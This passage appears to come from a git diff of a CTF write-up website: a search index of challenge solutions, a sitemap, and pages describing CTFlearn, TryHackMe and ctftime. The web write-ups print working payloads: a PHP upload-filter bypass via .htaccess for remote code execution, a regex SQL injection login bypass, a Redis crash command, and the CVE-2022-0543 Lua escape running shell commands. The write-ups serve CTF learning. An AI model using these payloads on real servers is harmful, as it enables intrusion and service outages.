from tqdm import tqdm\nfrom Crypto.Util.number import *\nimport base64\n\nwith open('_rels/love/out/0.png', 'rb') as f:\n zero = f.read()\n\nans = ''\nfor i in tqdm(range(129488)):\n with open(f'_rels/love/out/{i}.png', 'rb') as f:\n s = f.read()\n if (s == zero):\n ans += '0'\n else:\n ans += '1'\n\ns = long_to_bytes(int(ans, 2))).decode()\ns = base64.b64decode(s[22:])\nwith open('gao_3.png', 'wb') as f:\n f.write(s)\n
"},{"location":"Writeup/General%20Skills/%E9%B8%A3%E9%9B%8F%E6%81%8B/#flag","title":"Flag","text":"flag{57dd74fb21bb1aee50f19421bf836f23}\n
"},{"location":"Writeup/General%20Skills/%E9%B8%A3%E9%9B%8F%E6%81%8B/#reference","title":"Reference","text":"Writeup from https://zhuanlan.zhihu.com/p/402713931
"},{"location":"Writeup/Reverse%20Engineering/apk1/","title":"apk1","text":"Category: Reverse Engineering
Source: \u7965\u4e91\u676f2020
Author: unknown
Score: 30
"},{"location":"Writeup/Reverse%20Engineering/apk1/#description","title":"Description","text":"this is a easy apk
"},{"location":"Writeup/Reverse%20Engineering/apk1/#solution","title":"Solution","text":"JEB\u6253\u5f00apk\uff0c\u53ef\u4ee5\u770b\u5230\u7a0b\u5e8f\u4e3b\u903b\u8f91\u7684\u5728native\u5c42\uff0c\u4f46\u662f\u8981\u6ce8\u610f\u7684\u662f\u8c03\u7528\u7684\u662fcheck\u51fd\u6570\u800c\u4e0d\u662fcheck1\u51fd\u6570
IDA\u6253\u5f00so\uff0c\u53ef\u4ee5\u53d1\u73b0\u7a0b\u5e8f\u76f4\u63a5\u6709check1\u51fd\u6570
\u800ccheck\u51fd\u6570\u662f\u901a\u8fc7JNI_Onload\u4e2dregisterNatives\u51fd\u6570\u6ce8\u518c\u7684\uff0c\u53ef\u4ee5\u901a\u8fc7\u53cd\u6c47\u7f16\u627e\u5230\u5173\u952e\u4f4d\u7f6e
check\u51fd\u6570\u4e3b\u903b\u8f91\u5982\u4e0b\uff1a
\u7a0d\u4f5c\u5206\u6790\uff0c\u53ef\u4ee5\u53d1\u73b0\u7a0b\u5e8f\u5bf9\u6211\u4eec\u7684\u8f93\u5165\u957f\u5ea6\u8fdb\u884c\u4e86\u5224\u65ad\u662f\u5426\u662f22\u4f4d\uff0c\u7136\u540e\u5bf9\u5176\u8fdb\u884c\u4e86hex\u8f6c\u5316\uff0c\u63a5\u7740rc4\u52a0\u5bc6\uff0c\u5bc6\u94a5\u662fflag\uff0c\u6700\u540e\u7528DES\u52a0\u5bc6\uff0c\u5bc6\u94a5\u8fd8\u662fflag\uff0c\u6700\u540e\u548c\u660e\u65870x99EDA1D941316EEA\u8fdb\u884c\u5bf9\u6bd4\u3002\u8981\u6ce8\u610f\u662f\u7684rc4\u751f\u6210\u65f6\u7528\u5230\u4e86crc\u6821\u9a8c\uff0c\u90a3\u4e48\u53ef\u4ee5\u7528\u52a8\u6001\u8c03\u8bd5\u53bb\u89e3\u5bc6rc4\u3002
#-*- coding:utf-8 \nfrom numpy import*\nfrom Crypto.Cipher import DES\nfrom Crypto.Cipher import ARC4\nkey='666C6167'\ndes = DES.new(key, DES.MODE_ECB)\n\n\ncipher1='99EDA1D941316EEA'.decode('hex')\nplain1=des.decrypt(cipher1)\n\n\nprint(plain1.encode('hex'))\n#\u6c42\u51fades\u89e3\u5bc6\u660e\u6587\n
\u52a8\u6001\u8c03\u8bd5\u89e3\u51farc4\u5bc6\u6587\uff0c\u5373\u4e3aflag
"},{"location":"Writeup/Reverse%20Engineering/apk1/#flag","title":"Flag","text":"flag{76952041E276E2BF}
"},{"location":"Writeup/Reverse%20Engineering/apk1/#reference","title":"Reference","text":"Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw
"},{"location":"Writeup/Reverse%20Engineering/re1/","title":"re1","text":"Category: Reverse Engineering
Source: \u7965\u4e91\u676f2020
Author: unknown
Score: 15
"},{"location":"Writeup/Reverse%20Engineering/re1/#description","title":"Description","text":"The program that can never be reversed\uff1f
"},{"location":"Writeup/Reverse%20Engineering/re1/#solution","title":"Solution","text":"\u8f93\u5165\u7684\u5b57\u7b26\u4e32\uff0c\u6839\u636e\u6bcf\u4f4d\u7684\u5b57\u7b26\u4f1a\u7ecf\u8fc7\u4e00\u5806\u7684\u5904\u7406\uff0c\u7136\u540e\u8ddf\u76f8\u5e94\u7684\u6570\u636e\u4e00\u4f4d\u4e00\u4f4d\u5bf9\u6bd4\u3002\u53ef\u4ee5\u76f4\u63a5\u8f93\u51650-9 a-z\u7684\u5b57\u7b26\u4e32\u6765\u8fdb\u884c\u7206\u7834\u4e00\u4e0b\u5b57\u7b26\u5bf9\u5e94\uff0c\u4ece\u800c\u5f97\u5230flag\u3002
# 1234567890abcdefghijklmnopqrstuv\n\n# unsigned char ida_chars[] =\n# {\n# 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 1-5\n# 0xEE, 0xEF, 0xF0, 0xF1, 0xE8, 6-0\n# 0x19, 0x1A, 0x1B, 0x1C, 0x1D, a-e\n# 0x1E, 0x1F, 0x20, 0x21, 0x22, f-j\n# 0x23, 0x24, 0x25, 0x26, 0x27, k-o\n# 0x28, 0x29, 0x2A, 0x2B, 0x2C, p-t\n# 0x2D, 0x2E u-v\n# };\n\n\n# cmpcode = 0xeb 0xf1 0x19 0xe8 0x1e 0x1e 0xf0 0xec 0xef 0x1e\n# 0xe9 0x1e 0xec 0xec 0xe8 0xec 0x19 0x19 0xee 0x1b \n# 0xef 0xef 0xec 0xea 0x1c 0xea 0xe8 0xeb 0xee 0xeb 0x1d 0xf1\nkey = [0xeb,0xf1,0x19,0xe8,0x1e,0x1e,0xf0,0xec,0xef,0x1e,\n0xe9,0x1e,0xec,0xec,0xe8,0xec,0x19,0x19,0xee,0x1b,\n0xef,0xef,0xec,0xea,0x1c,0xea,0xe8,0xeb,0xee,0xeb,0x1d,0xf1\n]\nflag = 'flag{'\nfor i in range(len(key)):\nif 0xe8<=key[i]<=0xf1:\nflag += chr(key[i] - 184)\nif 0x19<=key[i]<=(0x19+26):\nflag += chr(key[i] + 72)\nprint(flag+'}')\n
"},{"location":"Writeup/Reverse%20Engineering/re1/#flag","title":"Flag","text":"flag{39a0ff847f1f4404aa6c7742d20363e9}
"},{"location":"Writeup/Reverse%20Engineering/re1/#reference","title":"Reference","text":"Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw
"},{"location":"Writeup/Web%20Exploitation/easy_game/","title":"pcat/7/easygame","text":"Name: easygame
Type: web
Author: kagi
Desc: bypass me
Link: http://139.9.251.90:8888/
Attach: None
Tips: None
Total: 125 First: \u4f5a\u540d Second: Ricky Third: lu0sf
"},{"location":"Writeup/Web%20Exploitation/easy_game/#writeup","title":"Writeup","text":"<?php\nhighlight_file(__FILE__);\n#### easy game\n\n$upload = 'upload/'.md5(\"2021\".$_SERVER['REMOTE_ADDR']);\n@mkdir($upload);\nfile_put_contents($upload.'/index.php', '');\nvar_dump($upload);\n\nif (isset($_POST['file']) && isset($_POST['file'])){\n if(preg_match('#.+\\.ph(p[3457]?|t|tml)$|/#is',$_POST['file'])){\n die('file error');\n }\n if(preg_match('#\\w{2,}|[678]|<\\?|/#',$_POST['content'])){\n die('content error');\n }\n file_put_contents($upload.'/'.$_POST['file'], $_POST['content']);\n}\n\n\nif (isset($_GET['reset'])){\n @rmdir($upload);\n} string(39) \"upload/c946d761bddc7564ff3e45a77a54ae13\"\n
We have access to the upload folder, but both the filename and the content are filtered. The question is to bypass the filter.
"},{"location":"Writeup/Web%20Exploitation/easy_game/#bypass-filename","title":"Bypass filename","text":"The filename can't be uploaded using any kind of .php
format. The only way is to upload a .htaccess
file to identify the files in this folder are all executed using php
.
.htaccess\nSetHandler application/x-httpd-php\n
After that, we can upload any filename and open it, the file would be resolved using php
.
But how can we upload the content in the .htaccess
? Let's discuss below.
The filter is strict, all 2 length printable characters are not valid. However, we can use an array to bypass this filter.
def gen_content(inp):\n i = 1\n for c in inp:\n print('content['+str(i)+']=%'+hex(ord(c))[2:]+'&', end='')\n i += 1\n
Then we can upload any php
script to server and gain RCE.
How to find the flag? After several searching in the server, we discovered a /readflag
ELF to read the flag file. Execute it to get the flag.
.htaccess
file upload:
file=.htaccess&content[1]=<&content[2]=?&content[3]=p&content[4]=h&content[5]=p&content[6]=%0a&content[7]=e&content[8]=x&content[9]=e&content[10]=c&content[11]=(&content[12]=\"&content[13]=l&content[14]=s&content[15]=\"&content[16]=)&content[17]=%0a&content[18]=?&content[19]=>\n
payload
file upload:
file=payload&content[1]=<&content[2]=?&content[3]=p&content[4]=h&content[5]=p&content[6]=%0a&content[7]=e&content[8]=c&content[9]=h&content[10]=o&content[11]=%20&content[12]=e&content[13]=x&content[14]=e&content[15]=c&content[16]=(&content[17]=\"&content[18]=/&content[19]=r&content[20]=e&content[21]=a&content[22]=d&content[23]=f&content[24]=l&content[25]=a&content[26]=g&content[27]=\"&content[28]=)&content[29]=%0a&content[30]=?&content[31]=>\n
"},{"location":"Writeup/Web%20Exploitation/easy_game/#flag","title":"Flag","text":"flag{46dd5c50-3e80-485e-80f4-f46b5d85f4b8}
"},{"location":"Writeup/%E8%99%8E%E7%AC%A6CTF2022/COMPASS%20WriteUp/","title":"\u864e\u7b26CTF - COMPASS WriteUp","text":"(2022\u6570\u5b57\u4e2d\u56fd\u521b\u65b0\u5927\u8d5b\u864e\u7b26\u7f51\u7edc\u5b89\u5168\u8d5b\u9053)
\u6392\u540d(\u9ad8\u6821) \u6392\u540d(\u603b) \u89e3\u9898 \u5f97\u5206 31 42 6 1529 \u5206\u7c7b \u540d\u79f0 \u5206\u503c Web babysql 232 pt Misc Check in 31 pt Misc Plain Text 79 pt Misc Quest-Crash 99 pt Misc Quest-RCE 150 pt Misc handle 909 pt"},{"location":"Writeup/%E8%99%8E%E7%AC%A6CTF2022/COMPASS%20WriteUp/#web","title":"Web","text":""},{"location":"Writeup/%E8%99%8E%E7%AC%A6CTF2022/COMPASS%20WriteUp/#babysql","title":"babysql","text":"username&password \u6ce8\u5165
'or~''and`password`COLLATE`utf8mb4_0900_as_cs`regexp'^[[prefix]]'and`password`regexp'(\n
\u901a\u8fc7 [[prefix]]
\u76f2\u6ce8\uff0c401 \u4e3a failed\uff0c500 \u4e3a match\u3002 \u5f97\u5230 username: QaY8TeFYzC67aeoO
password: m52FPlDxYyLB^eIzAr!8gxh$
\u5168\u9009\u590d\u5236\u5feb\u901f\u7b7e\u5230\uff0c\u53f7\u79f0COMPASS\u7b7e\u5230\u56e2
"},{"location":"Writeup/%E8%99%8E%E7%AC%A6CTF2022/COMPASS%20WriteUp/#plain-text","title":"Plain Text","text":"base64\u5f97\u89e3\u7801\u540e\u7684\u4e1c\u897f\u8bd5\u4e86\u5404\u79cd\u5e38\u89c1\u7f16\u7801\u52a0\u5bc6\uff0c\u672a\u679c\u3002 \u6253\u5f00\u8c37\u6b4c\u7ffb\u8bd1\uff0c\u6e90\u8bed\u8a00\u9009\u4fc4\u8bed\uff0c\u7136\u540e\u76f4\u63a5\u952e\u76d8\u8f93\u5165\uff0c\u5f97\u5230\u4e86flag\uff1a \u6240\u6709\u7684\u5bc6\u7801\u90fd\u5f88\u7ec6\uff0c\u82f9\u679c\u548c\u897f\u74dc
\u4e3a\u4ec0\u4e48\u53d1\u73b0\u662f\u4fc4\u8bed\u5462\uff0c\u56e0\u4e3agoogle\u524d\u4e24\u4e2a\u8bcd\uff0c\u51fa\u6765\u4e86\u4fc4\u8bed\u6587\u7ae0
"},{"location":"Writeup/%E8%99%8E%E7%AC%A6CTF2022/COMPASS%20WriteUp/#quest-crash","title":"Quest-Crash","text":"{\"query\":\"SET 114514 1919810\\nGET 114514\\nPING\"}\n
\u53ef\u4ee5\u6267\u884c\u591a\u6761\uff0c\u53ef\u4ee5\u7ed5\u8fc7\uff0c\u4e8e\u662f
{\"query\":\"SET 114514 1919810\\nGET 114514\\nDEBUG SEGFAULT\"}\n
\u53ef\u4ee5\u5d29\u6389\u670d\u52a1\u3002
"},{"location":"Writeup/%E8%99%8E%E7%AC%A6CTF2022/COMPASS%20WriteUp/#quest-rce","title":"Quest-RCE","text":"\u6839\u636e vulhub/CVE-2022-0543 \u627e\u5230payload
eval 'local io_l = package.loadlib(\"/usr/lib/x86_64-linux-gnu/liblua5.1.so.0\", \"luaopen_io\"); local io = io_l(); local f = io.popen(\"id\", \"r\"); local res = f:read(\"*a\"); f:close(); return res' 0\n
\u9898\u76ee\u73af\u5883\u548c\u7248\u672c\u5b8c\u7f8e\u7b26\u5408\uff0c\u4e0d\u9700\u8981\u6539lib\u8def\u5f84\uff0c\u653e\u5230\u4e0a\u4e00\u9898\u7684\u8bf7\u6c42\u540e\u8fb9\u5c31\u53ef\u4ee5RCE
{\"query\":\"SET 114514 1919810\\nGET 114514\\neval 'local io_l = package.loadlib(\"/usr/lib/x86_64-linux-gnu/liblua5.1.so.0\", \"luaopen_io\"); local io = io_l(); local f = io.popen(\"cat flag_UVEmnDKY4VHyUVRVj46ZeojgfZpxzG\", \"r\"); local res = f:read(\"*a\"); f:close(); return res' 0\"}\n
"},{"location":"Writeup/%E8%99%8E%E7%AC%A6CTF2022/COMPASS%20WriteUp/#handle","title":"handle (\u4e8c\u8840)","text":"~~\uff08\u9694\u58c1\u67d0show\u5e73\u53f0\u4e0a\u5468\u521a\u505a\u8fc7\u7c7b\u4f3c\u7684\u9898\uff0c\u4e8e\u662f\u5f88\u5feb\u5c31\u628a\u5b57\u5178\u641e\u51fa\u6765\u4e86\uff0c\u4f46\u662f\u4ea4\u4e92\u5199\u4e86\u5f88\u4e45\u4e22\u6389\u4e86\u4e00\u8840\uff09~~ \u601d\u8def\u5c31\u662f\u627e\u4e00\u4e2a\u6709\u4f18\u52bf\u7684\u56fa\u5b9a\u8bcd\u5f00\u5934\uff0c\u7136\u540e\u6839\u636e\u8fd4\u56de\u7ed3\u679c\u5206\u679d(\u679d)\uff0c\u6839\u636e\u4e0d\u540c\u679d\u9009\u62e9\u4e0d\u540c\u7684\u5c1d\u8bd5\uff08\u526a\u679d\uff0c\u4f46\u662f\u5176\u5b9e\u662f\u53ea\u5904\u7406\u4e00\u679d\uff09\uff0c\u8fd9\u6837\u63a5\u4e0b\u6765\u8981\u5904\u7406\u7684\u91cd\u590d\u91cf\u5c31\u5c11\u5f88\u591a\uff0c\u91cd\u590d\u8fd9\u4e2a\u8fc7\u7a0b\u4e24\u6b21\uff0c\u51e0\u4e4e\u6bcf\u4e00\u4e2a\u53ef\u80fd\u7684\u8bcd\u90fd\u6709\u5bf9\u5e94\u5e8f\u5217\u4e86\u3002 \u7b80\u5355\u7edf\u8ba1\u4e00\u4e0b\u751f\u6bcd\u97f5\u6bcd\u97f3\u8c03\u7684\u9891\u7387\uff0c\u4f46\u662f\u4f9d\u636e\u8fd9\u4e2a\u627e\u51fa\u6bd4\u8f83\u5e38\u89c1\u7684\u8bcd\u8dd1\u4e09\u8f6e\u4e4b\u540e\u4f1a\u6709400+\u4e2a\u91cd\u590d\u7684\u8def\u7ebf\uff0c\u4e5f\u5c31\u662f\u8fd9400+\u4e2a\u8bcd\u5982\u679c\u62bd\u5230\u5927\u6982\u7387\u5931\u8d25\uff0c\u7b97\u4e00\u4e0b\u6210\u529f\u7387pow(1-400/26000,512)
\u662f\u6050\u6016\u7684\u4e07\u5206\u4e4b\u4e09\uff0c\u4e8e\u662frandom choice\u5b57\u5178\u91cc\u7684\u8bcd\u5f00\u59cb\u8dd1\uff0c\u6700\u540e\u627e\u5230 \u9732\u5df1\u626c\u624d \u53ea\u6709\u4e00\u767e\u591a\u91cd\u590d\uff0c\u6210\u529f\u7387pow(1-100/26000,512)
\u5df2\u7ecf\u63d0\u5347\u5230\u4e86\u5341\u5206\u4e4b\u4e00\uff0c\u51b3\u5b9a\u591a\u8dd1\u51e0\u6b21\u51faflag\u3002 P.S.\u56e0\u4e3a\u6210\u529f\u4e4b\u540e\u5c31\u6ca1\u6709 > \u8f93\u51fa\u4e86\uff0c\u6240\u4ee5\u8fb9\u754c\u6761\u4ef6\u70b8\u4e86\uff0c\u5728\u7b2c512\u8f6e\u5f3a\u5236\u8fdb\u4ea4\u4e92\u8d4c\u7b2c\u4e8c\u8f6e\u51fa\u7ed3\u679c\u3002
\u9996\u5148\u662f\u751f\u6210\u5b57\u5178\u7684\u51fd\u6570\uff0ckk\u662f\u7b2c\u4e00\u4e2a\u56fa\u5b9a\u7684\u5f00\u5934\u8bcd\uff0c\u6839\u636e\u6bcf\u6b21\u8fd4\u56de\u7684\u6587\u672c\u66f4\u65b0\u952e\u503c\u5bf9\uff0c\u7136\u540e\u5bf9\u6709\u591a\u4e2a\u7ed3\u679c\u7684key\u8fed\u4ee3\u5ef6\u957f\uff0c\u6bcf\u6b21\u9009\u62e9\u7b2c\u4e00\u4e2a\u53ef\u80fd\u7684\u7ed3\u679c\uff0c\u6700\u540e\u7684\u91cd\u590d\u4e2a\u6570\u5373\u4e3a\u6709\u53ef\u80fd\u5931\u8d25\u7684\u8bcd\u7684\u6570\u91cf\uff1a
# \u5176\u4f59\u5185\u5bb9\u548c\u6e90\u4ee3\u7801\u5b8c\u5168\u4e00\u6837\uff0c\u8282\u7701\u7a7a\u95f4\u5c31\u4e0d\u7c98\u8d34\u4e86\nwith open('idioms.txt', 'r', encoding='utf8') as f: # utf8\n idioms = [x.strip() for x in f.readlines()]\n\ndef check(guess, answer): # \u9b54\u6539\u7684check\uff0c\u6539\u8fd4\u56de\u503c\u4e3a\u8f93\u51fa\u5185\u5bb9 \u65b9\u4fbf\u5230\u65f6\u5019\u76f4\u63a5\u7528\u670d\u52a1\u5668\u8fd4\u56de\u5185\u5bb9\u66f4\u65b0\n guesspy = get_pinyin(guess)\n answerpy = get_pinyin(answer)\n r = \"\"\n py_results = [check_part(guesspy[i], answerpy[i]) for i in range(3)]\n for i in range(4):\n for j in range(3):\n r += (wrap_color(guesspy[j][i], py_results[j][i]))\n r += ' '\n r += '\\n'\n results = check_part(guess, answer)\n for i in range(4):\n r += wrap_color(guess[i], results[i])\n r += '\\n'\n return r.encode(), r\n\ndef gen(kk):\n d = {}\n dup = []\n for i in idioms:\n s = check(kk, i)[0] \n if s in d.keys():\n d[s].append(i) # \u5176\u5b9e\u8fd9\u91cc\u7528s\u7684\u54c8\u5e0c\u4e5f\u662f\u53ef\u4ee5\u7684\uff0c\u4f46\u662f\u4e0d\u65b9\u4fbfdebug\uff0c\u800c\u4e14\u63d0\u901f\u4e0d\u660e\u663e\n dup.append(s)\n else:\n d[s] = [i]\n print(f'finish init round1 with {len(dup)} dup.')\n dup = set(dup)\n dup2 = []\n for i in dup:\n for j in d[i]:\n s = check(d[i][0], j)[0]\n if s in d.keys():\n d[s].append(j)\n dup2.append(s)\n else:\n d[s] = [j]\n print(f'finish init round2 with {len(dup2)} dup.')\n dup2 = set(dup2)\n dup3 = []\n for i in dup2:\n for j in d[i]:\n s = check(d[i][0], j)[0]\n if s in d.keys():\n d[s].append(j)\n dup3.append(s)\n else:\n d[s] = [j]\n print(f'finish init round3 with {len(dup3)} dup.')\n return d\n\nwhile True:\n s=random.choice(idioms) # \u56e0\u4e3a\u904d\u5386\u4e0d\u5b8c\uff0c\u8fde\u7eed\u7684\u8bcd\u7279\u5f81\u91cd\u590d\u6027\u9ad8\uff0c\u6240\u4ee5\u968f\u673a\u62bd\u4e86\n print(s)\n d = gen(s) # \u5982\u679c\u7b2c\u4e09\u4e2a\u7ed3\u679c\u80fd\u5c0f\u4e8e200\u5c31\u80fd\u7528\u4e86\uff0c\u591a\u8dd1\u51e0\u8f6e\u80af\u5b9a\u80fd\u62ff\u5230flag\n list3_file = open('list3.pickle', 'wb1')\n pickle.dump(d, list3_file)\n list3_file.close()\n
\u7136\u540e\u662f\u591a\u6b21\u5c1d\u8bd5\u7684\u5229\u7528\u811a\u672c
list3_file = open('list3.pickle', 'rb') # \u4e0a\u8fb9\u751f\u6210\u7684\nd = pickle.load(list3_file)\n# context.log_level = 'debug'\n\nwhile True:\n try:\n p = remote(\"120.77.30.1\", 48771)\n p.recvuntil(b\"> \")\n for r in range(512):\n print(r)\n p.sendline('\u9732\u5df1\u626c\u624d'.encode())\n res = p.recvuntil(b\"> \")\n while b'Round' not in res:\n s = res[:-2]\n p.sendline(d[s][0])\n if r == 511:\n p.interactive() # \u8fb9\u754c\u6761\u4ef6\u70b8\u4e86\uff0c\u5728\u7b2c512\u8f6e\u5f3a\u5236\u8fdb\u4ea4\u4e92\u8d4c\u7b2c\u4e8c\u8f6e\u51fa\u7ed3\u679c\n res = p.recvuntil(b\"> \")\n except:\n time.sleep(1)\n\np.interactive()\n
\u56e0\u4e3a\u75ab\u60c5\u4e0d\u5728\u5b66\u6821\uff0c\u4ea4\u4e92\u63d0\u901f\u7684\u5c0ftrick\u5c31\u662f\u53bbIP\u6240\u5728\u5730\u79df\u4e2a\u670d\u52a1\u5668\uff0c\u6bd4\u5982\u8fd9\u91cc\u79df\u4e2a\u5e7f\u4e1c\u7684\u963f\u91cc\u4e91\u6216\u8005\u817e\u8baf\u4e91\u7684\u670d\u52a1\u5668\uff0c\u4ea4\u4e92\u98de\u5feb\uff0c\u51e0\u79d2\u8dd1\u4e00\u8f6e\uff0c\u4f53\u9a8c\u5982\u540c\u672c\u5730\u4e00\u822c\u3002
"},{"location":"Writeup/%E8%99%8E%E7%AC%A6CTF2022/COMPASS%20WriteUp/#_1","title":"\u540e\u8bb0","text":"RE\u76842048\u5b8c\u7f8e\u8fd8\u539f\u4e86js\uff0c\u627e\u5230\u4e86\u540e\u95e8\u51fd\u6570\u548c\u9b54\u6539\u7684TEA\u52a0\u5bc6\u8fd8\u6709\u6362\u8868\u7684base64\u3002 \u4f46\u662f\u5bf9\u56db\u4e2anative\u65b9\u6cd5\u7684\u9006\u5411\u6ca1\u6709\u5b8c\u6210\uff0c\u9759\u6001\u7ed1\u5b9a\u7684\u4e24\u4e2a\u65b9\u6cd5\u52c9\u5f3a\u80fd\u770b\uff0ccheck\u548cpre\u4e24\u4e2a\u52a8\u6001\u65b9\u6cd5\u5c31\u627e\u4e0d\u5230\u7b26\u53f7\u4e86\u3002 \u672c\u5730\u6ca1\u51c6\u5907\u597dARM\u73af\u5883\u4e0a\u4e0d\u4e86\u52a8\u6001\uff0c\u88abso\u7684OLLVM\u7206\u6740\uff0c\u9057\u61be\u653e\u5f03\u3002
PWN\u7684\u7b7e\u5230babaygame\u6cc4\u9732\u51farbp-4\u4e0d\u77e5\u9053\u80fd\u505a\u4ec0\u4e48\uff0c\u968f\u673a\u6570\u6bd4\u8f83\u597d\u6a21\u62df\uff0c\u4f46\u662f\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u53ea\u80fd\u5229\u7528\u4e00\u6b21\u3002 \u6309\u4e4b\u524d\u7684\u77e5\u8bc6\u9700\u8981\u7b2c\u4e00\u6b21\u6cc4\u9732libc\u5730\u5740\u6bd4\u5982__libc_start_main+243\uff0c\u7b2c\u4e8c\u6b21\u5199\u8fd4\u56de\u5730\u5740\u4e3agadget\u6216\u8005system\uff0c\u9700\u8981\u4e24\u6b21\u3002 \u7136\u540e\u60f3\u80fd\u4e0d\u80fd\u8986\u5199ret\u7684\u4f4e\u4f4d\u77ed\u8df3\u4e00\u4e0b\u91cd\u590d\u6267\u884c\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u7684\u51fd\u6570\uff0c\u7136\u540e\u5c31\u662f\u5e38\u89c4\u601d\u8def\u4e86\u3002 \u6216\u8005\u4e5f\u53ef\u4ee5\u66b4\u529b\u7206PIE\uff0c\u4f46\u662f\u8fd9\u4e24\u4e2a\u601d\u8def\u90fd\u6ca1\u6765\u5f97\u53ca\u5b9e\u73b0\u3002
\u603b\u4e4b\u8fd8\u662f\u6709\u4e0d\u5c11\u9057\u61be\u7684\uff0c\u8fd9\u4e24\u9898\u518d\u51fa\u4e00\u9898\u5c31\u80fd\u516c\u8d39\u65c5\u6e38\u4e86\uff08\u5927\u6982\uff09\u3002 \u4e0d\u8fc7\u7b2c\u4e00\u6b21\u548c\u5168\u56fd\u51e0\u4e4e\u6240\u6709\u9876\u7ea7\u5f3a\u961f\u7ade\u6280\u80fd\u62ff\u5230\u8fd9\u6837\u7684\u6392\u540d\u4e5f\u662f\u4e00\u5927\u8fdb\u6b65\u4e86\uff0c\u8003\u8651\u5230\u524d\u8fb9\u8fd8\u6709\u6e05\u5317\u590d\u6d59\u4ea4\u5317\u90ae\u4e2d\u79d1\u5927\u56fd\u79d1\u5927\uff0c\u6211\u4eec\u9ad8\u6821\u7ec4\u6392\u540d\u597d\u50cf\u8fd8\u4e0d\u9519\uff08\u9003\uff09
"},{"location":"website/Platform/CTFlearn/","title":"CTFlearn","text":"CTF learn is a challenge website for user update challenges and solve challenges.
Those challenges are uploaded by community and users who solves the challenge can leave comments and score for the challenge.
To submit flag and acquire scores, you need an account. In CTF learn, the accounts are free to register. Once you finish the registration, you may login with the account.
For business user and education propose, CTF learn offers a professional edition called Learn++.
Some online labs are also useful for beginners.
"},{"location":"website/Platform/CTFlearn/#reference","title":"Reference","text":"CTF learn link: https://ctflearn.com/
"},{"location":"website/Platform/TryHackMe/","title":"TryHackMe","text":"Here's another platform for learning and hacking.
The difference between tryhackme and ordinary CTF challenge website is that thm uses rooms
for challenge. Each room contains of several questions and you need to finish them all to solve a room.
The room is also called a target environment in cyber security. In case that vulnerabilities are available in rooms, each room should be created for each user. That's say, you need to create a room and deploy machine before hacking.
All target environments are on the thm's cloud server and you don't need to configure local machine to deploy target environment. However, you need to connect to the thm's local network so that you can hack the target environment.
Two ways for user to connect. The first and free
way is to use OpenVPN and configure your VPN with thm's ovpn file. The second is to use hack box, for community user, free box can only be used 1 hour one day. Otherwise, you need to purchase premium
edition of thm.
Rooms are also can be uploaded by users. This makes it possible for us to create our own target environment.
Besides, thm provides several learning courses for beginners.
For advanced users, there some other useful pages provided by thm.
You can find some useful blog related to the cybersecurity and some other websites such like tutorials, terms, swag shop.
TryHackMe is a great platform for both beginners and advanced hackers.
"},{"location":"website/Platform/TryHackMe/#reference","title":"Reference","text":"TryHackMe link: https://tryhackme.com/docs
"},{"location":"website/Platform/ctftime/","title":"ctftime","text":"CTF time is a platform to provide schedule for upcoming and past CTF events. Famous CTF events usually synchronize their schedule to the CTF time, and CTFers all along the world would participate the event.
Some famous CTF team also have their CTF time page to show their gains and record during the events. Along with the events schedule and team page, writeups are also collected by CTF time. Find writeups for the event by clicking corresponding event page and find Event tasks and writeups
page.
Find upcoming CTF events using CTF time.
"},{"location":"website/Platform/ctftime/#reference","title":"Reference","text":"CTF time link: https://ctftime.org/
"}]} \ No newline at end of file diff --git a/sitemap.xml b/sitemap.xml new file mode 100644 index 000000000..5ec28da92 --- /dev/null +++ b/sitemap.xml @@ -0,0 +1,1298 @@ + +CTF learn is a challenge website for user update challenges and solve challenges.
+Those challenges are uploaded by community and users who solves the challenge can leave comments and score for the challenge.
+ +To submit flag and acquire scores, you need an account. In CTF learn, the accounts are free to register. Once you finish the registration, you may login with the account.
+For business user and education propose, CTF learn offers a professional edition called Learn++.
+Some online labs are also useful for beginners.
+ +CTF learn link: https://ctflearn.com/
+ + + + + + + + +Here's another platform for learning and hacking.
+The difference between tryhackme and ordinary CTF challenge website is that thm uses rooms
for challenge. Each room contains of several questions and you need to finish them all to solve a room.
The room is also called a target environment in cyber security. In case that vulnerabilities are available in rooms, each room should be created for each user. That's say, you need to create a room and deploy machine before hacking.
+ +All target environments are on the thm's cloud server and you don't need to configure local machine to deploy target environment. However, you need to connect to the thm's local network so that you can hack the target environment.
+Two ways for user to connect. The first and free
way is to use OpenVPN and configure your VPN with thm's ovpn file. The second is to use hack box, for community user, free box can only be used 1 hour one day. Otherwise, you need to purchase premium
edition of thm.
Rooms are also can be uploaded by users. This makes it possible for us to create our own target environment.
+Besides, thm provides several learning courses for beginners.
+ +For advanced users, there some other useful pages provided by thm.
+You can find some useful blog related to the cybersecurity and some other websites such like tutorials, terms, swag shop.
+TryHackMe is a great platform for both beginners and advanced hackers.
+ +TryHackMe link: https://tryhackme.com/docs
+ + + + + + + + +CTF time is a platform to provide schedule for upcoming and past CTF events. Famous CTF events usually synchronize their schedule to the CTF time, and CTFers all along the world would participate the event.
+ +Some famous CTF team also have their CTF time page to show their gains and record during the events. Along with the events schedule and team page, writeups are also collected by CTF time. Find writeups for the event by clicking corresponding event page and find Event tasks and writeups
page.
Find upcoming CTF events using CTF time.
+CTF time link: https://ctftime.org/
+ + + + + + + + +